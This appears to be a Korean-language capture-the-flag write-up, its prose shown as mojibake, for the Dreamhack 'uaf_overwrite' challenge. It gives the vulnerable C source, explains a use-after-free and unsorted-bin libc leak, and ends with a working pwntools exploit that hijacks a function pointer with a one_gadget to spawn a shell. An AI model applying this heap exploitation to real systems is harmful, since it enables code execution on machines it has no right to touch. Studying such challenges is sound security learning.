TIL: Use After Free ๐
Use After Free
Use-After-Free๋ memory reference๋ฅผ ์ํด ์ฌ์ฉํ pointer๋ฅผ memory ํด์ ํ์ ์ด๊ธฐํํ์ง ์์์, ๋๋ ํด์ ํ memory๋ฅผ ์ด๊ธฐํํ์ง ์๊ณ ๋ค์ chunk์ re-allocateํด์ ์๊ธฐ๋ ์ทจ์ฝ์ ์ด๋ค.
malloc
๊ณผ free
๋ allocateํ๊ฑฐ๋ freeํ memory์ ๋ฐ์ดํฐ๋ฅผ ์ด๊ธฐํํ์ง ์๋๋ค. โ ์๋กญ๊ฒ ํ ๋นํ chunk์ ์ด์ ์ freeํ chunk์ data๊ฐ ๋จ์์์ด ์ ์ถ๋ ์ ์๋ค.
ptmalloc2
๋ ์๋ก์ด allocate ์์ฒญ์ด ๋ค์ด์์ ๋ ์์ฒญ๋ ํฌ๊ธฐ์ ๋น์ทํ chunk๊ฐ bin
์ด๋ tcache
์ ์๋์ง ํ์ธํ๊ณ , ๋ง์ฝ ์๋ค๋ฉด ํด๋น chunk๋ฅผ ์ฌ์ฌ์ฉํ๋ค. โ ์์ freeํ memory์ ๊ฐ์ size๋ก memory๋ฅผ allocateํ ๋ ์ด์ ์ ๊ฐ์ด ๊ทธ๋๋ก ๋จ์์์ ์ ์๋ค.
Wargame: uaf_overwrite
๋ฌธ์ ์ ์์ค ์ฝ๋๋ ์๋์ ๊ฐ๋ค.
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
Vulnerability Scanning
-
checksec
๋ชจ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด ์ ์ฉ๋์ด ์๋ค.
Human
๊ณผRobot
์ ํฌ๊ธฐ๊ฐ ๋์ผํ๋ฉฐ, ๋ struct ๋ชจ๋ ๊ฐ๊ฐhuman_func()
,robot_func()
์ ์ํด allocate ๋ฐ free๋ ์ ์๋ค. โ Use-After-Free ๋ฒ๊ทธ๊ฐ ๋ฐ์ํ ์ ์๋ค.- ํนํ
robot_func()
์์Robot
์fptr
๋ฅผ callํ๋๋ฐ, ์ด๋ Use-After-Free ๋ฒ๊ทธ๋ฅผ ์ด์ฉํดfptr
์ ๊ฐ์ ์กฐ์ํ ์ ์์ผ๋ฏ๋ก ์ํ๋ ํจ์๋ฅผ ์คํํ ์ ์๋ค. โ one_gadget์ ํ์ฉํ์.
- ํนํ
- one_gadget์ ์ฃผ์๋ฅผ ๊ตฌํ๊ธฐ ์ํด code base๋ฅผ ๊ตฌํด์ผ ํ๋๋ฐ, ์ด๋
custom_func
๋ฅผ ํ์ฉํ๋ค.custom_func
๋ฅผ ํตํด 0x100 ์ด์์ ํฌ๊ธฐ์ chunk๋ฅผ allocate ๋ฐ freeํ ์ ์์ผ๋ฏ๋ก ์ด ํจ์์์๋ Use-After-Free ๋ฒ๊ทธ๊ฐ ๋ฐ์ํ๋ค.
Code base ๊ตฌํ๊ธฐ
https://learn.dreamhack.io/119#5
https://velog.io/@woounnan/SYSTEM-Heap-Basics-Bin#์ข ๋ฅ
Code base๋ฅผ ๊ตฌํ๊ธฐ ์ํด unsorted bin์ ํน์ง์ ํ์ฉํ๋ค.
- Unsorted bin์ ์ฒ์ ์ฐ๊ฒฐ๋๋ chunk๋ libc์ ํน์ ์ฃผ์์ ์ด์ค ์ํ linked list๋ฅผ ํ์ฑํ๋ค. ( = ์ฒซ ๋ฒ์งธ chunk์
fd
,bk
์๋ libc ๋ด๋ถ์ ์ฃผ์๊ฐ ๋ค์ด์๋ค.) โ unsorted bin์ ์ฐ๊ฒฐ๋ chunk๋ฅผ re-allocateํ๊ณ ,fd
๋bk
์ ๊ฐ์ ์ฝ์ผ๋ฉด libc๊ฐ mapping๋ ์ฃผ์๋ฅผ ๊ณ์ฐํ ์ ์๋ค. - 0x410 ์ดํ์ ํฌ๊ธฐ์ chunk๋ tcache์ ๋จผ์ ์ฝ์ ๋๋ฏ๋ก ์ด๋ณด๋ค ํฐ chunk๋ฅผ ํด์ ํด์ unsorted bin์ ์ฐ๊ฒฐํ๊ณ , ์ด๋ฅผ ์ฌํ ๋นํด์ ๊ฐ์ ์ฝ์ด libc๊ฐ mapping๋ ์ฃผ์๋ฅผ ํ์ธํ์.
- Freeํ chunk๊ฐ top chunk์ ๋ง๋ฟ์ ์์ ๊ฒฝ์ฐ freeํ ๋ ๋ chunk๊ฐ coalesce๋๋ฏ๋ก chunk ๋ ๊ฐ๋ฅผ ์ฐ์์ผ๋ก allocateํ๊ณ , ์ฒซ ๋ฒ์งธ๋ก allocateํ chunk๋ฅผ freeํด์ผ ํ๋ค.
์ด์ ์ค์ ๋ก libc_base๋ฅผ ์ฐพ๊ณ , one_gadget์ ์ฃผ์๋ฅผ ์ป์.
- libc์ mapping๋ ์ฃผ์ ๊ตฌํ๊ธฐ
์์ ์ธ๊ธํ๋ฏ์ด ๋ ๊ฐ์ chunk๋ฅผ allocateํ๊ณ , ์ฒซ ๋ฒ์งธ๋ก allocateํ chunk๋ฅผ freeํ๋ค. ์ดํ ๊ฐ์ size์ chunk๋ฅผ ๋ค์ allocateํ ๋ค fd
๋ bk
์ ๊ฐ์ ํ์ธํ๋ค. ์ธ ๋ฒ์ custom
์คํ์ผ๋ก ๊ฐ์ ํ์ธํ ์ ์๋ค.
gdb๋ฅผ ์ด์ฉํด ์ธ ๋ฒ์งธ custom
ํจ์์ ์คํ ์ ์ fd
์ ๊ฐ์ ํ์ธํ๋ฉด ์๋์ ๊ฐ์ด 0x7fd5db35dca0์์ ํ์ธํ ์ ์๋ค. (gdb์ heap command๋ฅผ ์ฌ์ฉ)
- ๊ทธ ์ฃผ์๊ฐ ์ด๋ ๊ณณ์ ์ฃผ์์ธ์ง ํ์ธํ๊ธฐ
gdb๋ก ์ด ์ฃผ์๊ฐ libc ์ค ์ด๋ ๊ณณ์ ์ฃผ์์ธ์ง๋ฅผ ํ์ธํ๋ฉด ์๋์ ๊ฐ์ด main_arena+96
์ ์ฃผ์์์ ํ์ธํ ์ ์๋ค.
- ์ฃผ์ด์ง version์ libc์์ offset ํ์ธํ๊ธฐ
https://d41jung0d.tistory.com/114
์ฃผ์ด์ง version์ libc์ offset์ ํ์ธํ๊ธฐ ์ํด main_arena
symbol์ libc์์ ์ฐพ์๋ณด์์ง๋ง, ์ฐพ์ ์ ์์๋ค.
๊ฒ์์ ํตํด main_arena
๋ __malloc_hook
+ 0x10์ ์์นํ๋ค๋ ์ฌ์ค์ ์ ์ ์์์ผ๋ฏ๋ก libc.rip์์ ์ฃผ์ด์ง libc์ __malloc_hook
์ offset์ ํ์ธํ๊ณ , ์ด ๊ฐ์ 0x10์ ๋ํด์ฃผ๋ฉด ๋๋ค. (์ถ๊ฐ๋ก main_arena
๋ 64 bit machine์์๋ __malloc_hook
+ 0x10์, 32 bit machine์์๋ __malloc_hook
+ 0x18์ ์์นํ๋ค.)
๋ฌธ์ ์์ ์ฃผ์ด์ง libc์์๋ __malloc_hook
์ offset์ด 0x3ebc30์ด๋ฏ๋ก main_arena
์ offset์ 0x3ebc40์์ ์ ์ ์๋ค.
- overwrite๋ ๋ถ๋ถ ๊ณ ๋ คํ๊ธฐ
๊ทธ๋ฐ๋ฐ ์ด๋ ์ธ ๋ฒ์งธ custom
ํจ์๋ฅผ ์คํํ ๋ "B"
์ data๋ก ์
๋ ฅํ๊ธฐ ๋๋ฌธ์ fd
์ ๋ง์ง๋ง ํ ๋ฐ์ดํธ๊ฐ 0x42๋ก overwrite๋๊ฒ ๋๋ค. ๋ฐ๋ผ์ printf
๋ก ์ถ๋ ฅ๋๋ ๊ฐ์ 0x7fd5db35dc42๊ฐ ๋๋ค. libc์ mapping๋ ์ฃผ์๋ ํ์ 1.5 byte๊ฐ ์ผ์ ํ๋ฏ๋ก, 0x42 - 0xa0๋งํผ ๊ฐ์ด ๋ํด์ก๋ค๊ณ ์๊ฐํ๋ฉด ๋๋ค.
- libc_base ๊ตฌํ๊ธฐ
์ถ๋ ฅ๊ฐ์ด ๋์ค๊ธฐ ์ํ ๊ณผ์ ์ ๋๋์๋ณด๋ฉด ์๋์ ๊ฐ์ด ์ ๋ฆฌํ ์ ์๋ค:
์ถ๋ ฅ๊ฐ = libc_base + 0x3ebc40 + 96 - 0xa0 + 0x42
๋ฐ๋ผ์ libc_base = ์ถ๋ ฅ๊ฐ - 0x3ebc40 - 96 + 0xa0 - 0x42 = ์ถ๋ ฅ๊ฐ - 0x3ebc42
๋ฐ๋ผ์ ์๋์ ๊ฐ์ด exploitํ๋ฉด libc_base๋ฅผ ๊ตฌํ ์ ์๊ณ , ์ด๋ก๋ถํฐ one_gadget์ ์ฃผ์๋ ๊ตฌํ ์ ์๋ค. one_gadget์ offset์ one_gadget
์ ์ด์ฉํด ๊ตฌํ๋ค.
from pwn import *
p = process("./uaf_overwrite")
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = libc_base + 0x10a41c
Exploit
from pwn import *
p = remote("host3.dreamhack.games", 15336)
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
# local, remote:
libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
# remote:
og = libc_base + 0x10a41c
# local:
#og = libc_base + 0x10a2fc
print("libc_base: ", hex(libc_base))
print("og: ", hex(og))
human("1", og)
robot("1")
p.interactive()
- one_gadget์ ์ฃผ์๋ฅผ
human_func
๋ฅผ ์ด์ฉํดhuman
์age
์ ๋ฃ๋๋ค.human
์ด free๋์ด๋ ์ด ๊ฐ์ ๋จ์ ์์ผ๋ฏ๋ก (Use-After-Free)robot_func
๋ฅผ ์คํํ์ ๋ one_gadget์ด ์คํ๋๋ค.
์์ง ์์ ํ ์ดํดํ์ง ๋ชปํ ์ ๋ค
- heap์ ๋ํด ๊น๊ฒ ๊ณต๋ถํ ์ ์ด ์์ด unsorted bin, tcache์ ๊ฐ์ ์ฉ์ด๋ค์ ์ฒ์ ๋ค์ด๋ดค๋๋ฐ, ๋์ค์ ์๊ฐ์ด ๋๋ฉด heap์ ๋ํด์๋ ๊ณต๋ถํด์ผ ํจ.
- 0x3ebc42๋ผ๋ offset์ด ๋คํํ remote์์๋ ์ ์ฉ์ด ๋์๋๋ฐ, ๋ง์ฝ ์ ์ฉ๋์ง ์์์ผ๋ฉด ์ด๋ป๊ฒ ๊ตฌํด์ผ ํ์์ง ์ ๋ชจ๋ฅด๊ฒ ์. ๋ฌธ์ ์์ ์ฌ์ฉ๋ ๋ฒ์ ์ libc ํ์ผ์ด ์ฃผ์ด์ก์ ๋, ์ด libc ํ์ผ์์ ์ํ๋ symbol์ offset์ ์ด๋ป๊ฒ ๊ตฌํ๋๊ฑด์ง ์ ๋ชจ๋ฅด๊ฒ ๋ค.
Leave a comment